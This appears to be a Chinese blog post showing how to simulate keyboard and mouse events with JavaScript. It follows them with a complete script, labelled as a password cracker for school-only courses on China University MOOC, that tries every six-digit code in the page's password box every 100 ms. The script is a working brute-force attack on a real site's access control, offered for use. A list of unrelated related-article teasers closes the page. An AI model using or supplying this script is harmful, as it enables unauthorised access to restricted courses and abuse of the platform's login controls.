使用JS模拟键盘、鼠标操作
//只在chrome测试过,大部分应用场景在webkit,所以不做其他兼容// 模拟键盘输入
window.inputValue = function (dom, st) {var evt = new InputEvent('input', {inputType: 'insertText',data: st,dataTransfer: null,isComposing: false});dom.value = st;dom.dispatchEvent(evt);
}// 模拟鼠标点击
window.mClick = function (dom) {var event = new MouseEvent('click', {view: window,bubbles: true,cancelable: true});dom.dispatchEvent(event)
}
完整代码
// 中国大学MOOC学校专有课程密码破解start = 0;
end = Math.pow(10,6);
size = 6;p = document.getElementsByClassName("ux-input_base")[0];
j = document.getElementsByClassName("ux-btn")[1];window.inputValue = function (dom, st) {var evt = new InputEvent('input', {inputType: 'insertText',data: st,dataTransfer: null,isComposing: false});dom.value = st;dom.dispatchEvent(evt);
}window.mClick = function (dom) {var event = new MouseEvent('click', {view: window,bubbles: true,cancelable: true});dom.dispatchEvent(event)
}// for(i=start;i<end;i++){// num = (Array(size+1).join("0") + i).slice(-size)
// console.log("当前任务:",num)
// inputValue( p,num )
// j.dispatchEvent(event)
// }i=start;
iVal = setInterval(()=>{console.log("当前任务:",num)num = (Array(size+1).join("0") + i).slice(-size);inputValue( p,num )mClick(j)i++;if(i==end){clearInterval( iVal )}
},100)// clearInterval(iVal)
使用JS模拟键盘、鼠标操作相关推荐
- 程序模拟键盘鼠标操作
用代码模拟键盘鼠标操作,主要用到keybd_event/mouse_event或者SendInput API函数.使用示例如下(附注释): /* * 模拟键盘输入,以 ...
- Python 模拟键盘鼠标操作实战教程
在某些情况下,如果我们需要进行自动化操作的应用没有提供相应的接口,我们无法直接通过Python来调用API实现自动化.这种情况下,Python也不是完全没有办法的,我们可以采用模拟键盘和鼠标的方式实现 ...
- java 模拟鼠标_java实现简单的模拟键盘鼠标操作
简简单单的记录: 近期需要用到模拟键盘鼠标操作,所以记录下来,以备后用,看了很多例子,未标明引用,请见谅 package com.text.jna; import javax.imageio.Imag ...
- Cypress之模拟键盘鼠标操作以及页面元素拖动操作
上篇文章讲解了使用cypress框架时,如何上传或者下载文件,以及定位操作iframe和shadow dom下的页面元素.此次课程将讲解如何模拟键盘输入.鼠标操作以及如何拖动页面元素,另外,会介绍如何 ...
- python在程序中模拟键盘鼠标操作
Python中模拟键盘和鼠标最著名的模块是:pymouse 和 pykeyboard.一次安装两个模块比较麻烦,而有一个库整合了这两个模块,而且能支持跨平台操作,这个库叫 PyUserInput,通过 ...
- python模拟键盘鼠标操作
python版本:3.6.2 扩展: autopy3 (python2.x的话 安装autopy 就可以了) //autopy是一个自动化操作的python库,可以模拟一些鼠标.键盘事件,还能对屏幕进 ...
- C# 使用Win32 API模拟键盘鼠标操作网页
在webbrowser控件中的document complete 事件中设置链接到自身 private void ieFrame_DocumentCompleted(object sender, We ...
- java整理软件---java模拟键盘,鼠标操作
1.Java 模拟键盘输入的小Demo,实现自动按下:模拟Ctrl+Alt+Z的按下和抬起 如果你开着qq的话,那么qq会自动弹出来.哈哈,代替人工操作; import java.awt.Rob ...
- C/C++ Windows平台 模拟键盘 / 鼠标操作
原理:调用Windows API 头文件: Windows.h 鼠标 参考:MSDN :mouse_event function 按键 使用定义在Winuser.h中的mouse_event函数(Wi ...
- [转载]C#模拟键盘鼠标事件-SendKeys
C#模拟键盘鼠标事件-SendKeys 2007-09-18 15:138596人阅读评论(1)收藏举报 1.模拟键盘事件 System.Windows.Forms.SendKeys以下是 Sen ...
最新文章
- hibernate、struts、spring mvc的作用
- 物流项目宣传活动任务前台分页展示
- QS首发大学百强排名,华东五校表现惊艳,老牌985望尘莫及
- C#数据结构-稀疏矩阵
- jquery.roundabout.js图片叠加3D旋转
- Java Web中相对路径与绝对路径的分析
- winform 往第三方传值 put
- 网络安全课第二节 XSS漏洞检测防御
- qq撤回的消息会在服务器,如何查看qq撤回的消息_查看qq被撤回消息的方法
- wifi信号衰减与距离关系_wifi无线信号传输衰减距离计算公式
- 需求分析及技术方案设计
- win7计算机相机,笔记本win7怎么拍照_win7电脑照相机如何打开
- ArcGIS使用模型构建器批量剪裁影像
- UINO优锘:数据中心可视化管理面向运营的IT运维配置管理
- 如何提高亚马逊排名?亚马逊排名规则有哪些?
- 百度地图API支持HTTPS
- 泡利不相容原理适用的空间范围(系统)是多大?
- 一个40岁老程序员的学习之路,在别人为“中年危机”而忧愁时,你可以淡然处之
- horizon多网卡配置
- java jar导入eclipse_eclipse导入jar包的方法 (JDBC)